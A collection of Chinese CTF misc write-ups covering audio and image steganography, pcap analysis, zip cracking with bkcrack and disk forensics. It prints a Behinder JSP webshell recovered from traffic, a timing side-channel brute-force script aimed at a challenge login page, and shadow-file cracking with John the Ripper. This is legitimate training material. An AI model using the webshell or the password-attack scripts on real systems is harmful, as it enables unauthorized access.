打开flag文件得到


[黑盾杯 2020]encrypt

base64

image-20241230205712803


[黑盾杯 2020]music

音频01;ntfs数据流;png宽高

音频文件,audacity打开

image-20250102185746966

很多这种高低的,猜过是01,但是看到这么多又感觉不是,最后试了很多方法没有找到有效信息,最后看题解真是01,下面是大佬的脚本,高增幅是1,低增幅是0,8位位一组,转换成十六进制

import numpy as np
import struct
import wave
import re


def write_records(records, format, f):
    record_struct = Struct(format)
    for r in records:
        f.write(record_struct.pack(*r))

path = "./music.wav"
f = wave.open(path, "rb")
params = f.getparams()
nchannels, sampwidth, framerate, nframes = params[:4]
str_data = f.readframes(nframes)
f.close()
wave_data = np.fromstring(str_data, dtype=np.short)
b = ''
d = ''
max = 0
for i in wave_data:
    if i <0:
        if max !=0:
            if max<25000:
                d +='0'
            else:
                d += '1'
                pass
        max = 0
    if max < i:
        max = i

print(d)
print("\n\n\n\n")
a = re.findall(r'.{8}',d)
hex_list=[]
for i in a:
    res = hex(int(i,2))
    hex_list.append(res)
print(hex_list)

with open("result.txt","wb") as f:
    for x in hex_list:
        s = struct.pack('B',int(x,16))
        f.write(s)

最后打开文件

image-20250102190018579

rar文件,改一下后缀

image-20250102190052921

直接打开压缩包没有flag,试试7z,也没有东西

用ntfs那个工具扫一下

image-20250102190500904

发现了png文件,保存一下

image-20250102190652626

半个二维码,png宽高

image-20250102190739985

得到flag


[黑盾杯 2020]Trees

图片压缩隐写

根据题目提示知道要去stegsolve看通道

image-20250102193936354

image-20250102194048070

可以看到一点点,可以确定是在这里面,但是完全看不清楚,下面是网上找到的脚本,直接就说图片太大了要转换一下

脚本:

from PIL import Image

img = Image.open('enc.png')
w = img.width
h = img.height
img_ob = Image.new("RGB",(w//16,h//16))

for x in range(w//16):
    for y in range(h//16):
        (r,g,b)=img.getpixel((x*16,y*16))
        img_ob.putpixel((x,y),(r,g,b))

img_ob.save('1.png')

说明:

  1. 读取图片
    Image.open('enc.png') 打开一张名为 enc.png 的图片。
  2. 获取图片尺寸
    w = img.widthh = img.height 分别获取图片的宽和高。
  3. 创建新图片
    Image.new("RGB",(w//16,h//16)) 创建一个新的 RGB 格式图片,其尺寸为原图的 1/16。
  4. 采样像素并缩小图片
    使用两个嵌套循环,按照 16×16 的步长,获取原图每个块的左上角像素颜色,并将该颜色赋给新图的对应像素位置。
  5. 保存结果图片
    将生成的新图片保存为 1.png

应用场景

  1. 图片缩小/缩略图生成
    代码实现了一种简单的采样方法(固定间隔采样),可以用于生成缩略图。
  2. 隐写术中的分析
    在某些隐写术场景中,隐藏信息可能分布在大图的某些特定位置。通过缩小图片,能够观察全局特性或提取特定模式。
  3. CTF题目
    这段代码可能用于解码隐藏信息,例如在像素颜色中嵌入的模式。

输出:

image-20250102194636110

算是一个新的知识点了


[GFCTF 2021]双击开始冒险

暴力破解;base64;鼠标流量

压缩包文件,里面的提示文件内容是:

image-20250102195145899

image-20250102195126198

里面的压缩包要密码,那就是4位数字暴力破解,得到:
image-20250102195217754

里面的hint文件是:

image-20250102195321019

压缩包里面是这个,但是要密码,应该是要在小文章里面找密码

image-20250102195257244

image-20250106182614669

有个qq号,去搜了,但是时间太久远,他里面有信息的签名已经没了,所以看了题解,是一串WW91IGxvdmUgbWUsIEkgbG92ZSB5b3U=,base64解码得到:You love me, I love you

打开压缩包,根据流量包的名字知道是一个鼠标流量

image-20250114155959350

这是我找的工具搞出来的,因为我的tshark弄出来一直全都是空格,找了很多办法都不知道原因出在哪里,这个勉强能看但是也是看不清楚,看了题解的图片,得到的是:

image-20250114160139480

所以这个就是解压密码,打开压缩包

image-20250114160236063

图片上面显示的并不是flag

strings试了一下,flag在最后

image-20250114160511386


[GFCTF 2021]重生之我在A国当间谍

PDU编码;base64;二维码拼接

两个文件,一个文本文件,一个压缩包需要密码

image-20250102201732260

PDU(Protocol Data Unit)编码是一种用于表示和传输通信协议数据单元的编码方式,主要在短信、通信协议、网络数据传输等领域中使用

在线网站:PDU编码解码工具

每一行解码得到:

image-20250102201747391

image-20250102201826847

image-20250102201844163

image-20250102201902875

image-20250102201919018

可以知道密码是经过base64编码的,解码得到:

image-20250102202105240

打开压缩包

image-20250102202129643

拼一下扫码得到:

image-20250102203023524


[GFCTF 2021]pikapikapika

文件分离;图片观察;音频二进制;十六进制;base64;png宽高

jpg文件,binwalk一下

image-20250102203340248

发现zip文件,分离得到

image-20250102203404044

要密码,没有找到线索,暴力破解也破了很久没有结果,所以肯定是有线索的

找了很久没找到,喵一眼题解线索就在原图上面!

image-20250102210338530

每个皮卡丘上面都写了东西,k1tnI_a_pa!_aw,拼一下就是I_want_a_p1ka!,所以这个应该就是密码

得到音频后用audacity打开

image-20250102210707550

看样子应该就是01了,转换一下

image-20250103172414775

根据十六进制的值来转换:

def process_audio(input_file, output_file):
    # 打开音频文件,读取内容
    with open(input_file, 'rb') as f:
        data = f.read()

    # 用于存储最终的二进制数据
    binary_data = []

    # 遍历音频文件的每对字节
    i = 0
    while i < len(data) - 1:
        byte_pair = data[i:i + 2]

        # 获取当前字节对的十六进制表示
        hex_value = byte_pair.hex().upper()

        if hex_value == '983A':
            # 如果字节对是 98 3A,加入二进制 0
            binary_data.append('0')
        elif hex_value == '3075':
            # 如果字节对是 30 75,加入二进制 1
            binary_data.append('1')

        # 跳过下一个字节,因为已经处理了两个字节
        i += 2

    # 将二进制数据按 8 位分组
    binary_string = ''.join(binary_data)
    binary_groups = [binary_string[i:i + 8] for i in range(0, len(binary_string), 8)]

    # 如果最后一组不满8位,丢弃
    if len(binary_groups[-1]) < 8:
        binary_groups = binary_groups[:-1]

    # 将每组8位二进制转换为十六进制
    hex_result = [format(int(group, 2), 'X') for group in binary_groups]

    # 将结果写入文件
    with open(output_file, 'w') as f:
        f.write(" ".join(hex_result))


# 输入和输出文件路径
input_file = 'flag.wav'  # 输入音频文件路径
output_file = 'output_result.txt'  # 输出文件路径

process_audio(input_file, output_file)

脚本是把0.5的转换成0,1.0的转换成1之后8位一组转换为十六进制,得到文件:

image-20250103172153805

十六进制转一下:

image-20250103172208914

结尾有==,base64,转一下:

image-20250103172228340

png文件,保存打开

image-20250103172250786

半张,宽高改写:

image-20250103172508718

得到flag


[CISCN 2021初赛]running_pixel

gif图片提帧;像素处理

gif文件,每一帧提取得到:

image-20250103180714530

到这里尝试了identify和文件属性,都没有结果,喵一眼题解说是有一部分图片上面有小白点,提取那一点的RGB值可以发现是(233,233,233)

image-20250103180701803

然后就是脚本遍历所有图片,当那一张图片的那一点像素的RGB为(233,233,233)时就写进新创建的图片中

from PIL import Image

# 创建一个新的 400x400 的黑白图像(模式 '1')
flag_img = Image.new('1', (400, 400))

# 遍历文件夹中的图像,文件名从 000.png 到 381.png
for name in range(0, 382):
    image = Image.open(f'{str(name).zfill(3)}.png')  # 使用 zfill 来确保数字格式为三位数,例如 "000.png"

    # 将图像转换为 RGB 模式
    image = image.convert("RGB")

    # 获取图像的宽度和高度
    width, height = image.size

    # 遍历图像的每个像素
    for w in range(width):
        for h in range(height):
            # 如果当前像素是指定的灰色 (233, 233, 233),将其设置为白色(1)
            if image.getpixel((w, h)) == (233, 233, 233):
                flag_img.putpixel((h, w), 1)  # 设置 flag_img 中相同位置的像素为白色,这里如果是用w,h的话是反着的

    # 将处理后的图像保存为 PNG 格式,文件名格式为 "name.png"
    flag_img.save(f'.{str(name)}.png')

得到的图片文件从第一个开始看一个个看到最后会发现字母和数字慢慢画出来了,得到的flag就是12504D0F-9DE1-4B00-87A5-A5FDD0986A00,还是小写:

12504d0f-9de1-4b00-87a5-a5fdd0986a00


[LitCTF 2024]女装照流量

蚁剑流量

流量包,协议分级

image-20250104173315691

选中http,追踪流

image-20250104180003618

从20开始就有大长串了

image-20250104180031262

后面有经过base64编码的字符串,解码得到:

image-20250104180104575

是文件路径,一直找,到流26可以解码得到:

image-20250104180243100

是个密码,继续找

image-20250104180317171

在最后找到这个,所以下面这个就是flag.zip文件

image-20250104180351514

需要去掉开头和结尾的字符串,这里我直接复制然后保存的话会报错文件损坏,可能额是一些字符不支持复制什么的,所以就用了显示原始数据

image-20250104181729480

复制到010editor后把尾巴删掉

image-20250104181750517

保存为zip问价打开,需要密码,那么密码就是之前我们得到的PaSsw0rd_LitCtF_L0vely_tanJi

打开得到

image-20250104181904332


[FSCTF 2023]行不行啊细狗

word文件,打开报错

image-20250114160917278

改成zip后缀打开,在document.xml文件中发现字段

image-20250114162645787

应该是后半段,接着就是在其他文件里面一直找,都没有找到什么,最后看了题解说xml文件用vscode打开查看

果然里面多了好多东西

image-20250114163058643

拼接起来就是flag


[GDOUCTF 2023]misc_or_crypto?

strings;RSA

一个bmp文件

image-20250114163300894

strings提取

image-20250114164321408

可知是RSA加密,拿去解密得到:

image-20250114164307021


## [羊城杯 2023]ai和nia的交响曲

流量分析;黑白像素二进制;伪加密

流量包,打开协议分级选中http流之后追踪流,发现了好几个png文件

有一些是直接开头就是png,可以导出对象的,导出之后查看并没有发现什么,在29发现了这个

image-20250209100921615

也是png,这个在导出对象里面找不到,用原始数据显示之后拿去十六进制编辑器里面保存为png,打开

image-20250209101003058

只有黑白,那就想到黑白像素提取

#提取像素点
## 尝试提取二进制
from PIL import Image

im = Image.open("1.png")
width,height = im.size

bin = ''

for x in range(width):
    for y in range(height):
        r,g,b = im.getpixel((x,y))
        if r > 127:
            bin += '1'
        else:
            bin += '0'

with open('out.txt','w')as f:
    f.write(bin)

二进制转一下

image-20250209101452526

第一部分的:@i_n1a_l0v3S_,回到流量包继续找

image-20250209101525042

32里面发现flag2,zip文件,这个在导出对象里面可以导出,打开需要密码,之前flag1前面就是hint:BV1wW4y1R7Jv,但是并不是密码,但是这又没有线索什么的,看看是不是伪加密

真是伪加密,把那个伪加密的09改成00就能打开了

image-20250210140847933

看着有一些框框,感觉是零宽隐写,复制去vscode打开看看

image-20250210141238529

果然是了

image-20250210141320088

之前的hint是BV1wW4y1R7Jv2

然后就卡死了,这个hint不知道是什么加密什么的,去看了题解,我真服了,这怎么想到的,这个hint是b站的视频,网址:https://www.bilibili.com/video/BV1wW4y1R7Jv

然后,这个时间拿去对应视频里面的每一帧画面的字母,比如,00:00是

image-20250210142018126

00:21是

image-20250210142056636

一路下来对应就是:@i_n1a_l0v3S_BANBANFAHEAN,但是是错的

然后题解又说往后面一个字母的话就是CAOCAOGAIFAN,@i_n1a_l0v3S_CAOCAOGAIFAN

牛题,我服了


[羊城杯 2023]EZ_misc

文件分离;文件格式;Gronsfeld密码;截图恢复

一张png

image-20250210142836925

下面有很明显的字,宽高恢复

image-20250210142910473

不是这里

png文件,zsteg看看

image-20250210143113442

有个zip,010editor打开

image-20250210143201670

在后面发现了pk,分离出去打开

打不开,后面一直在看,发现开头是504b0403,应该是504b0304,改了之后能打开了

image-20250210144552773

这里不知道是什么加密了,去看了题解,说是Gronsfeld加密

这个是要密钥的,发现之前的png文件后面,pk文件前面有个提示好像

image-20250210144816971

所以密钥是5个数字,然后拿去网站解密一下

image-20250211095352595

提示是nipping tools,意思是截图工具,这里有个新工具

frankthetank-music/Acropalypse-Multi-Tool:使用简单的 Python GUI 轻松检测和恢复易受鹿角攻击的 PNG 和 GIF 文件。

安装使用

image-20250211095108852

image-20250211095124012


[羊城杯 2023]Easy_VMDK

bkcrack明文攻击;7z打开vmdk文件;逆代码

image-20250213134712455

压缩包要密码,有备注,看看算法

image-20250213135513697

这个之前遇到过,用bkcrack来进行明文攻击,创建一个有vmdk文件头的文件

bkcrack -C Easy_VMDK.zip -c flag.vmdk -x 0 4B444D5601000000030000

得到三个密钥

image-20250213203827706

bkcrack -C flag.zip -c flag.vmdk -k e6a73d9f 21ccfdbc f3e0c61c -d 1.vmdk

打开文件

image-20250213222803152

key里面的是:

image-20250213222826679

flag.zip文件分离能分出东西

image-20250213223125214

分离出来里面是个脚本

image-20250213223204591

import cv2
import base64
import binascii


img = cv2.imread("key.png")
r, c = img.shape[:2]
print(r, c)
# 137 2494

with open("key.txt", "w") as f:
    for y in range(r):
        for x in range(c):
            uu_byte = binascii.a2b_uu(', '.join(map(lambda x: str(x), img[y, x])) + "\n")
            f.write(base64.b64encode(uu_byte).decode() + "\n")

找了网上的逆代码

import base64
import binascii
from PIL import Image


height = 137
width = 2494
im = Image.new("RGB", (width, height), 'white')
imglists=[]
with open("key.txt", "r") as f:
    lists=f.readlines()
    for i in lists:
        data = (binascii.b2a_uu(base64.b64decode(i))).decode().strip()
        imglists.append(data)

for y in range(height):
    for x in range(width):
        pixel = tuple(map(int, imglists[y * width + x].split(', ')))
        im.putpixel((x, y), pixel)

im.show()

运行得到:

image-20250213223730008

HELLO_DASCTF2023_WORLD密码,打开文件得到:

image-20250213223850027


[羊城杯 2023]GIFuck

gif提取;gif帧时长;brainfuck的memory

是个gif文件,打开大概看一下会发现是很多符号,一看就知道应该是jsfuck或者是brainfuck加密,直接提取会发现有特别多张,要是一个一个看会很慢

叫AI写了个脚本来提取

import cv2
import pytesseract
import os

def recognize_text_in_image(image_path):
    """
    识别单张图片中的文字
    """
    # 读取图片
    image = cv2.imread(image_path)
    # 转换为灰度图
    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
    # 识别文字
    text = pytesseract.image_to_string(gray, lang='eng', config='--psm 10').strip()
    return text

def process_folder(folder_path, output_file):
    """
    处理文件夹中的所有图片,并按顺序保存到一个文件
    """
    # 获取所有图片文件,并按文件名排序
    files = sorted(os.listdir(folder_path), key=lambda x: int(x.split('.')[0]))

    results = []
    for filename in files:
        file_path = os.path.join(folder_path, filename)
        if os.path.isfile(file_path):
            try:
                text = recognize_text_in_image(file_path)
                if text:
                    results.append(text)
            except Exception as e:
                print(f"Error processing {filename}: {e}")

    # 把结果保存到文件
    with open(output_file, "w", encoding="utf-8") as f:
        f.write("".join(results))

    print(f"处理完成,结果已保存到 {output_file}")

if __name__ == "__main__":
    folder_path = "GIFca"  # 修改为你的文件夹路径
    output_file = "result.txt"  # 输出文件
    process_folder(folder_path, output_file)

得到的拿去解码

image-20250213173540244

是乱的,ok卡死了

看了题解,既然这样不对就去查看帧,看每一帧的时间长度

from PIL import Image

def get_gif_frame_durations(gif_path):
    with Image.open(gif_path) as img:
        frame_durations = []
        for frame in range(img.n_frames):
            img.seek(frame)
            frame_durations.append(img.info.get('duration', 0))  # 获取帧持续时间
        return frame_durations

gif_path = "flag.gif"
durations = get_gif_frame_durations(gif_path)

for i, duration in enumerate(durations):
    print(f"Frame {i}: {duration} ms")

image-20250213174945217

可以看出基本都是60的倍数,然后就60为基础,60的打印图片的上面的字符一次,120的两次,180三次,以此类推来打印字符

from PIL import Image
import os

# 打开GIF文件

gif_path = "flag.gif"
gif_image = Image.open(gif_path)

# 获取GIF中的帧数

num_frames = gif_image.n_frames

# 创建一个目录来保存PNG图像

output_directory = "output_png_frames_repeat/"
os.makedirs(output_directory, exist_ok=True)

# 读取并根据时间帧长度导出帧

for frame_number in range(num_frames):
    gif_image.seek(frame_number)
    frame_image = gif_image.copy()
    duration = gif_image.info['duration']  # 获取当前帧的时间帧长度(以毫秒为单位)
    

export_count = duration // 60

for i in range(export_count):
    frame_image.save(f"{output_directory}{frame_number:d}{(i+1):02d}.png")

再识别字符得到:

image-20250213200931231

要命了,再去看题解用了其他解密网站,多一个memory

image-20250213203208078

拿去十六进制转换得到:

image-20250213203226250

是我想简单了这题


[FSCTF 2023]二维码不要乱扫

lsb;暴力破解

二维码扫描

image-20250227211444767

zsteg

image-20250311160229447

保存为zip文件

压缩包打开要密码,直接暴力破解

image-20250311160112391

打开文件得到:FSCTF{h@ck-Z3r0}


[GHCTF 2025]mypixel

全通道隐写;黑白像素提取;汉信码

一个很小的像素图片,png文件拿去zsteg

image-20250313211452883

这里显示的是imagedata里面有个zip文件,这里不知道imagedata是什么通道去看了题解才知道就是全通道选中

image-20250313211639703

保存为zip文件,打开里面是一张黑白像素

output

试试提取像素,黑1白0

from PIL import Image


def extract_pixels(image_path):
    img = Image.open(image_path)
    img = img.convert('L')

    width, height = img.size
    pixels = []

    for y in range(height):
        row = []
        for x in range(width):
            pixel = img.getpixel((x, y))
            binary_pixel = 1 if pixel < 128 else 0
            row.append(binary_pixel)
        pixels.append(row)

    return pixels


image_path = "output.png"
result = extract_pixels(image_path)

for row in result:
    print(''.join(map(str, row)))

image-20250314174937267

发现是png,保存打开是汉信码,拿去扫描

image-20250314175111535


[GHCTF 2025]mywav

波形二进制转换;无密钥维吉尼亚密码;oursecret

wav文件,audacity打开会发现有宽窄之分,可以联想到01,宽的是1,窄的是0

image-20250314173945301

发现这个看不到时间频率,用AU打开看看

image-20250315144432456

这里能看到,根据这个可以写一个转换脚本,在缩小一点点看看

image-20250315144944848

应该是00.01时间内,疏的算1,密的算0,或者反过来

import numpy as np
from scipy.io import wavfile
from scipy.signal import find_peaks

# 读取WAV文件
samplerate, data = wavfile.read('attachment.wav')

# 转换为单声道(若为立体声)
if len(data.shape) > 1:
    data = data[:, 0]

# 归一化处理
data = data.astype(np.float32)
data_normalized = data / np.max(np.abs(data))

# 定义时间窗口参数
window_duration = 0.01  # 10ms
window_samples = int(samplerate * window_duration)

# 分割信号到时间窗口
total_samples = len(data_normalized)
num_windows = total_samples // window_samples
windows = [data_normalized[i*window_samples : (i+1)*window_samples]
           for i in range(num_windows)]

# 检测波峰并生成二进制序列
binary_sequence = []
height_threshold = 0.5  # 波峰高度阈值
min_distance = 50       # 最小峰间距

for window in windows:
    peaks, _ = find_peaks(window, height=height_threshold, distance=min_distance)
    num_peaks = len(peaks)
    binary_sequence.append(1 if num_peaks > 3 else 0)

# 按8位一组格式化输出
binary_str = ''.join(map(str, binary_sequence))
formatted_output = ' '.join([binary_str[i:i+8] for i in range(0, len(binary_str), 8)])

print("转换结果:")
print(formatted_output)

是密1疏0的,得到的结果拿去二进制转换

image-20250315145624997

没见过的,问问AI

可能是维吉尼亚密码,无密钥的那种,找了个网站:Vigenere Solver | guballa.de

搞出来得到一个password:

image-20250315151155777

最开始的文件是wav,又有密钥,看看deepsound和slienteye

都不是,这里是oursecret(好久没见到这个工具了)

image-20250315151648966

打开flag.txt文件得到

image-20250315151716090


## [GHCTF 2025]mybrave(巩固)

bkcrack明文攻击;十六进制信息发现;base64

压缩包打开会发现是zipcrypto store算法

image-20250311151137446

之前遇到过,这种算法的可以用bkcrack进行明文攻击

命令:

bkcrack -C ../../nss/mybrave.zip -c mybrave.png -x 0 89504E470D0A1A0A0000000D49484452

image-20250311151335288

得到三个密钥,继续

bkcrack -C ../../nss/mybrave.zip -c mybrave.png -k 97d30dcc 173b15a8 6e0e7455 -d 1.png

得到png文件

image-20250311151421657

放进010editor

image-20250311153926435

在文件的最后发现一串字符串,base64解码

image-20250311154002980


[GHCTF 2025]mypcap

nmap扫描;冰蝎流量;数据库流量

参考文章:https://blog.csdn.net/qq_63923205/article/details/146015873

学习思路

解题代码:

import hashlib
from Crypto.Cipher import AES

# 问题1:请问被害者主机开放了哪些端口?提交的答案从小到大排序并用逗号隔开
PORT = ""    # string of open port, like "8000,8888,9999,10000"

# 问题2:mrl64喜欢把数据库密码放到桌面上,这下被攻击者发现了,数据库的密码是什么呢?
PASSWORD = "" # string of password

# 问题3:攻击者在数据库中找到了一个重要的数据,这个重要数据是什么?
DATA = "" # string of important data


# ---- ANSWER SHEET OVER ------
HASH = hashlib.blake2b()
HASH.update(PORT.encode() + PASSWORD.encode() + DATA.encode())
D = HASH.digest()
KEY = D[0:16]
IV = D[16:32]
cipher = AES.new(KEY,AES.MODE_GCM,IV)

C_ = bytes.fromhex("39a7a41ddc95e651f0b217f8c542a84f79ddfb8276dafd739300ff09c0827759688d132932f8ab56c215aaf0")
H = bytes.fromhex("fc809190d7e9cd8fdd0867841f923a68")
FLAG = cipher.decrypt_and_verify(C_,H)
print(FLAG.decode())

第一个是找开放的端口,流量包打开最开始就是扫描

image-20250315134909136

有很多SYN

nmap的SYN半开扫描:

这种扫描方式通过发送 SYN 包到目标端口来判断端口的状态

SYN扫描的工作原理

  1. 发送 SYN 包:Nmap 向目标主机的特定端口发送 SYN 包
  2. 接收响应: 如果收到 SYN/ACK 回复,说明端口是开放的。 如果收到 RST 包,说明端口是关闭的。 如果没有收到回复,说明端口被屏蔽(Filtered)

过滤SYN = 0的数据包

image-20250315140115014

可知端口是22、3306、8080

过滤http流,在后面能看到

image-20250324165028336

点包进行追踪流

image-20250324165105235

流2-35能发现zip文件,原始数据保存一下打开压缩包,里面有个index.jsp文件,内容:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %><% !class U extends ClassLoader {
    U(ClassLoader c) {
        super(c);
    }

    public Class g(byte []b) {
        return super.defineClass(b, 0, b.length);
    }
}

%><%if (request.getMethod().equals("POST")) {
    String k="8a1e94c07e3fb7d5";
    /*该密钥为连接密码32位md5值的前16位*/
    session.putValue("u", k);
    Cipher c=Cipher.getInstance("AES");
    c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}

%>

冰蝎流量,密钥是:8a1e94c07e3fb7d5

在后面的2037能发现:

image-20250324165235321

既然问的是数据库密码,那就解密相应包内容,最下面:

image-20250324165306891

解密:

image-20250324165325376

数据库的重要信息那就过滤数据流量

image-20250324171308376

过滤之后追踪流找

image-20250324171356321

也可以搜索关键词data之类的,这里知道关键信息是Th1s_1s_Imp0Rt4Nt_D4Ta

所有问题找全之后运行代码得到

image-20250324171510354


[GHCTF 2025]myleak

这题算是学习思路了,第一次做杂项方向的网站题

image-20250316121717760

指向robots.txt,有个md文件,访问下载一下打开

image-20250316121936053

发现是网站源码

image-20250316122105793

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        PASSWORD = request.form.get('password')
        if len(PASSWORD) != len(CORRetc_PASSWORD):
            return render_template('login.html', error='密码长度错误')
        for i in range(len(PASSWORD)):
            if PASSWORD[i] != CORRetc_PASSWORD[i]:
                return render_template('login.html', error='密码错误')
            time.sleep(0.1)
        session['logged_in'] = True
        session['username'] = generate_random_username()
        return rediretc(url_for('index'))
    return render_template('login.html')
    return render_template('index.html')

部分重要代码:

在每次循环的时候,先比较第i位的字符,如果不对,立即返回错误。否则,执行time.sleep(0.1),然后进入下一个循环。例如,假设密码是5位,用户输入全部正确,那么在每次循环时,比较正确后,会sleep 0.1秒。这样总共有5次循环,每次循环后sleep,所以总延迟是5x0.1=0.5秒。而如果用户输入在第3位错误,那么前两位正确,每次比较正确后sleep 0.1,然后在第三次比较时错误,返回。所以总时间是前两次循环的sleep加上第三次循环的比较时间。那么总延迟是2x0.1秒=0.2秒。这样,攻击者可以通过测量响应时间来判断正确字符的数量。例如,如果响应时间越长,说明正确的字符越多。比如,正确密码是5位,当输入正确时,总延迟0.5秒。而当输入前两位正确,第三位错误,则延迟是0.2秒。这样,攻击者可以逐个字符猜测,观察响应时间的变化,从而推断出每个位置的正确字符

这显然是一个时间攻击的漏洞,是一个比较明显的时间侧信道

在issue里面有提示,知道是全字母的密码

image-20250316124236807

脚本爆破:

import requests
import time
import string


def find_password_length(url):
    for length in range(1, 20):
        data = {'password': 'a' * length}
        try:
            response = requests.post(url, data=data)
            if '密码长度错误' not in response.text:
                return length
        except:
            continue
    return None


def brute_force_password(url, length):
    corretc = []
    with requests.Session() as s:
        for i in range(length):
            max_time = 0
            best_char = None

			#只有字母
            char_set = string.ascii_lowercase + string.ascii_uppercase
            
            #全字符
            char_set = string.ascii_letters + string.digits + "!@#$%^&*()_+-=[]{}|;:,.<>?/"

            for c in char_set:
                guess = ''.join(corretc) + c + 'a' * (length - i - 1)
                data = {'password': guess}

                total_time = 0
                valid = False

                for _ in range(3):
                    try:
                        start = time.perf_counter()
                        response = s.post(url, data=data)
                        end = time.perf_counter()

                        if '密码错误' not in response.text:
                            print(f"\n[!] Password found: {guess}")
                            return guess

                        if '密码错误' in response.text:
                            total_time += (end - start)
                            valid = True
                    except:
                        continue

                if not valid:
                    continue

                avg_time = total_time / 3
                expetced_time = (i + 1) * 0.1  # 预期时间阈值

                # print(f"Trying '{c}': {avg_time:.3f}s (expetced: {expetced_time:.1f}s)", end='\r')

                # 寻找最接近预期时间的字符(允许±0.05秒误差)
                if avg_time >= expetced_time - 0.05 and avg_time > max_time:
                    max_time = avg_time
                    best_char = c

            if best_char:
                corretc.append(best_char)
                print(f"\n[+] Found char {i + 1}/{length}: {best_char} ({''.join(corretc)})")
            else:
                print(f"\n[-] Failed at position {i}")
                return None

    return ''.join(corretc)


if __name__ == "__main__":
    target_url = "http://node1.anna.nssctf.cn:28840/login"

    print("[*] Determining password length...")
    pwd_length = find_password_length(target_url)

    if pwd_length:
        print(f"[+] Password length: {pwd_length}")
        print("[*] Starting password brute force...\n")
        password = brute_force_password(target_url, pwd_length)

        if password:
            print(f"\n[!] Successful! Password: {password}")
        else:
            print("\n[-] Failed to brute force password")
    else:
        print("[-] Failed to determine password length")

这个爆出来应该是sECurePAsS

登录要验证邮箱

在之前的isuue里面提到了删除了测试分支,并且不会再有邮箱,去Activity查看

image-20250316154802066

image-20250316154742836

image-20250316155935720

web-admin@ourmail.cn


[GHCTF 2025]mydisk1

账户和哈希密码;系统定时任务文件:/etc/crontab;wine;foxmail

FTK挂载虚拟文件

问题1:mrl64的登录密码是什么?

账户信息在/etc/passwd文件中,哈希密码在/etc/shadow文件中

image-20250325171807325

image-20250325171817211

passwd文件:

root:x:0:0:root:/root:/bin/bash

root:用户名 (Username),用户登录系统的名称,需唯一

x:密码占位符,历史遗留字段,实际密码已迁移到 /etc/shadowx 表示密码存储在 shadow 文件中

0:用户ID (UID),用户唯一标识符。0 表示 root 用户,系统用户通常为 1-999,普通用户从 1000 开始

0:组ID (GID),用户的主组 ID,对应 /etc/group 文件中的组

root:用户描述/全名 (GECOS),可包含用户全名、联系方式等信息(如 l0v3miku,,, 中的逗号分隔附加信息)

/root:主目录 (Home Directory),用户的家目录路径

/bin/bash:登录Shell (Shell),用户登录后默认使用的 Shell。若为 /usr/sbin/nologin/bin/false,表示禁止登录(常用于系统账户)

shadow文件:

root:$y$j9T$...nQC:20113:0:99999:7:::

root:用户名 (Username),与 /etc/passwd 中的用户名一致

$y$j9T$...nQC:加密密码 (Encrypted Password),加密后的密码(格式如 $算法$盐$哈希值),*! 表示账户被锁定,无法登录

20113:最后修改时间 (Last Password Change),自 1970-01-01 起的天数。20113 天约为 2025 年 2 月

0:最小密码年龄 (Minimum Password Age),密码修改后需等待的天数(0 表示可立即修改)

99999:最大密码年龄 (Maximum Password Age),密码有效期天数(99999 表示永不过期)

7:警告期 (Warning Period),密码过期前 7 天向用户发出警告

空:宽限期 (Inactivity Period),密码过期后允许登录的宽限天数,过期后账户被锁定

空:账户失效时间 (Account Expiration),自 1970-01-01 起的天数,到期后账户无法使用

空:保留字段 (Reserved),未使用,保留为未来扩展

用命令unshadow进行整合

unshadow /etc/passwd /etc/shadow > hash.txt

就是将passwd里面的密码占位符用哈希密码进行填充,得到:

image-20250325171922428

要破解用户的,所以只需要红框内的部分

单独写进一个hash.txt文件,利用john和rockyou.txt字典进行爆破(这里kali自带的john不行,要安装 John Jumbo 版)

./john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 

image-20250327230749819

问题2: mrl64设置了一个定时任务,他每多少秒向什么地址发送一个请求?

Linux 系统中用于配置 系统级定时任务(cron jobs) 的核心文件:/etc/crontab

目录:/etc/crontab文件

image-20250325172559537

/2 * * * * 

从上面的Example of job defination可以知道是以root权限用/usr/bin/python3来每隔2分钟执行一次/usr/local/share/xml/entities/a.py文件

如果是/*3***的话就是每隔3小时

去找a.py文件

image-20250325173208602

可以知道url是:http://192.168.252.1:8000

问题3:有人发送了一封邮件给mrl64,你能获取到邮件中的flag吗?

home目录的用户目录

image-20250325171456658

里面有wine,wine是一个可以在windows运行Linux文件的应用

目录:[root]\home\l0v3miku.wine\drive_c\Foxmail 7.2

Foxmail是一个邮箱应用,保存Foxmail全部文件,自己去下载一个Foxmail之后把保存的文件全部复制到下载的文件夹里面再打开

image-20250324183508903

每日字符串不是20250125,也是个要找的文件

在桌面找到文件:

image-20250325171612686

保存打开:

image-20250324183621552

邮件发送日期是星期六,用掩码爆破

image-20250324183648236

得到密码:nmi3SDQ22580,打开得到:th3_TExt_n0w_YOU_kn0w!

image-20250325164844535


[GHCTF 2025]mydisk2

系统标识信息文件目录:/etc/issue;火狐浏览器默认配置文件;docker容器环境目录

问题1:mrl64的这台电脑的系统名是什么?

在 Linux 系统中,/etc/issue 文件存放的是 系统的标识信息,通常用于显示 登录前的提示信息

文件目录:/etc/issue

image-20250325164830266

问题2: 你知道mrl64的ctfshow的账号密码吗?

这个部分是 Firefox 为不同的用户配置文件生成的名称。通常,Firefox 会为每个用户生成一个独立的配置文件,每个配置文件会有一个以随机字符串或特定名称命名的文件夹。default-release 表示这是一个默认的配置文件,通常是用户第一次运行 Firefox 时创建的

找浏览器,在[root]\home\l0v3miku.mozilla\firefox\spk3lcsa.default-release目录下

将spk3lcsa.default-release复制到火狐浏览器文件夹下面,打开cmd,输入命令:

firefox.exe -profile spk3lcsa.default-release

进去之后右上角的更多,点密码

image-20250325170100514

问题3:mrl64的电脑上有一个docker容器,其环境里存储了一个重要信息,你知道是什么吗?

文件目录:[root]\var\lib\docker\containers\b166c738b107b87970df95affe903fe4e31e62762da68143023080804e87b8af下的config.v2.json文件中

image-20250325165132305


[GHCTF 2025]mymem


[陇剑杯 2023]hard_web_1

过滤开放端口

服务器开放了哪些端口

image-20250316174744630

IP统计

image-20250325180416761

可以看到前两个Count次数很多,第一个是客户端,第二个是服务端

过滤一下:

ip.dst==192.168.162.188&&tcp.connection.synack

